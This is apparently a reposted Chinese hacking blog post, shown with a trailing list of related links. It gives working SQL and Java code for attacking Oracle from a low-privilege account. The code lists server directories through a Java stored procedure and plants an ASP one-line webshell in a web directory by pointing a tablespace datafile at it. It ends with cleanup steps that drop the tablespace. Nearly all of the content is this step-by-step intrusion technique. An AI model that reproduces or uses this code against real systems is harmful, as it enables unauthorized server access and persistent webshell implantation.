oracle 最小权限,oracle低权限下获取shell
转载请标明:http://hi.baidu.com/hack_forensic 《关于oracle列目录的可行性测试》
经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章<>最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code:
create global temporary table BLUEUSER.dirlist(
filename varchar2(255),
filesize number,
filedate date)
on commit delete rows;
/
create or replace and compile java source named DirList as
import java.io.*;
import java.sql.*;
public class DirList
{
public static void getList(String directory) throws SQLException
{
File path=new File(directory);
String[] fileList=path.list();
String fileName;
long fileSize;
long fileDate;
for (int i=0;i
{
fileName=fileList[i];
File fpath=new File(directory+’/'+fileName);
fileSize=fpath.length();
fileDate=fpath.lastModified();
#sql{insert into BLUEUSER.dirlist(filename, filesize, filedate)
values(:fileName,:fileSize,to_date(‘01/01/1970′,’mm/dd/yyyy’)+:fileDate/(24*60*60*1000))};
}
}
}
CREATE OR REPLACE PROCEDURE BLUEUSER.p_get_dir_list(i_directory IN VARCHAR2) AS
LANGUAGE JAVA NAME ‘DirList.getList(java.lang.String)’;
SQL> exec BLUEUSER.p_get_dir_list(‘/tmp’);
PL/SQL procedure successfully completed
select * from BLUEUSER.dirlist;
select * from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist;
truncate table BLUEUSER.dirlist; 好啊 要不然是追加.
测试环境:oracle 9+redhat
——————ORACLE 建立数据文件WriteWebShell———————
SQLJ 存储过程写文件也可以,逼于无奈对方机器不支持SQLJ 还有 UTL_FILE包也被干掉了?
那 也可以 使用以下我说的这个方式
SQL> create tablespace kjtest datafile ‘e:\website\kj.asp’ size 100k nologging ;
表空间已创建。
这里记住了 100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥
但是最终建议一句话一定要最最简洁
SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;
表已创建。
一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。
SQL> insert into WEBSHELL values(‘’);
已创建 1 行。
SQL> commit;
提交完成。
提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间
SQL> alter tablespace kjtest offline;
表空间已更改。
到这里 你的 一句话SHELL代码已经 写到 那个文件了
你会发现有这样的 的 代码
一句话shell已经OK了
最后使用后记得吧 表空间删除
SQL> drop tablespace kjtest including contents;
表空间已删除。
oracle 最小权限,oracle低权限下获取shell相关推荐
- oracle低权限下获取shell
转载请标明:http://hi.baidu.com/hack_forensic <关于oracle列目录的可行性测试> 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj ...
- linux得到低权shell,oracle低权限下获取shell
转载请标明:http://hi.baidu.com/hack_forensic <关于oracle列目录的可行性测试> 经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj ...
- oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)
0x01 Oracle存储过程"缺陷" 在 Oracle 的存储过程中,有一个有趣的特点:运行权限.运行权限分为两种,definer 和 invoker. definer 为函数创 ...
- 安卓获取imei权限闪退_Android10 下获取序列号和IMEI号的权限
介绍 Android10 因为提高了其安全性能,因此获取序列号和IMEI号的权限与以前的版本有了变化这里就举例Zebra 移动设备Android 10 系统下的如何获取相应权限.运行Android 1 ...
- oracle 最小权限,基础知识6——安全和最小权限原则
数据库安全和最小权限原则 用户只拥有执行其任务所需的最小权限,并禁止所有未被允许的权限. 默认下SYS和SYSTEM拥有所有权限. 除了使用口令配置文件外,还需要遵循一些最佳实践,特别熟授予publi ...
- oracle数据库有哪些权限,ORACLE数据库中权限有哪些?
1 权限 Oracle数据库有两种途径获得权限,它们分别为: ① DBA直接向用户授予权限. ② DBA将权限授予角色(一个命名的包含多个权限的集合),然后再将角色授予一个或多个用户. 使用角色能够更 ...
- oracle 授权 增删改查权限_linux suid,sgid,sticky-bit三种特殊权限简介
三种特殊权限简介 SUID 当一个设置了SUID 位的可执行文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来执行这个文件,他都有文件所有者的特权. 如果所有者是 root 的话,那么执行人就 ...
- Oracle 用户、对象权限、系统权限
一.用户与模式 用户:对数据库的访问,需要以适当用户身份通过验证,并具有相关权限来完成一系列动作SYS用户,缺省始终创建,且未被锁定,拥有数据字典及其关联的所有对象SYSTEM用户,缺省始终创建,且未 ...
- oracle 授权 传递,Oracle基础学习4--Oracle权限传递
下面将用一个实例来讲解: 首先用oracle系统用户(sysdba身份)连接到Oracle 然后创建两个用户"lisi"和"zhangsan" 然后为lisi授 ...
最新文章
- php字符串加密解密源码,PHP中加密解密字符串函数源代码
- 整理一周的Python全品类资料包含100本电子书,还有独家实战项目源码公开!
- Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析
- jzoj2700-数字【数论,LCM】
- React中判断已完成的个数
- 国科大高级人工智能笔记1-搜索
- 微信公众号“成为开发者”实践代码
- 容器技术Docker K8s 33 04-容器服务ACK基础与进阶-06-集群管理
- 网络安全等级保护三级产品清单整理
- 电脑图标出现蓝色问号解决方法
- 计算机网络原理 - 网络层、链路层总结笔记
- ERP与条码系统集成实现精益化可追溯
- 【37期】请你详细说说类加载流程,类加载机制及自定义类加载器
- 携程航班信息爬取(python)---第一次写博客,不好请别见外!
- 微信6.0 ActionBar样式
- 出书最多 [2021年12月 电子学会C语言编程等级考试二级真题解析]
- 【Proteus仿真】AT24C02数据读写+LCD1602显示
- 华为鸿蒙os下载安装,华为鸿蒙系统安装包
- 小程序--时间处理(显示几分钟前,,几小时前,,几天前...)
- html 表格自动排序,jQuery html表格排序插件tablesorter使用方法详解
热门文章
- 超强干货素材!制作平面设计专辑模板
- 不会手绘有福了!场景的插画素材帮你搞定!
- 护理在计算机的应用研究,计算机虚拟和模拟技术在护理实践教学中应用的研究...
- android 类型.this,Android中this的用法
- .anonymous springsecurity需要登陆嘛_springSecurity之java配置篇
- ssm如何在mapper插入实时的时间_第一个ssm整合
- How To Deploy OpenShift Container Platform 4.8 on KVM
- libvirt Installation
- 线上环境 Linux 系统调用追踪
- 大型企业用什么orm_在大型仓储物流企业中使用什么类型的货架更为合适呢?